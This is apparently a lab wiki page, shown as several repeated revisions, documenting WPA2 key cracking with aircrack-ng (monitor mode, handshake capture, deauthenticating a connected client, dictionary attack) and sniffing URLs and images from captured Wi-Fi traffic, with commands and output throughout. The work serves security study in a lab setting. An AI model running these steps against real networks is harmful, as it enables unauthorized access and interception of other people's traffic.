lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:22:39Z

MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:19:07Z

MMehlfuehrer: /* Prerequisites */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:17:08Z

MMehlfuehrer: /* Prerequisites */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
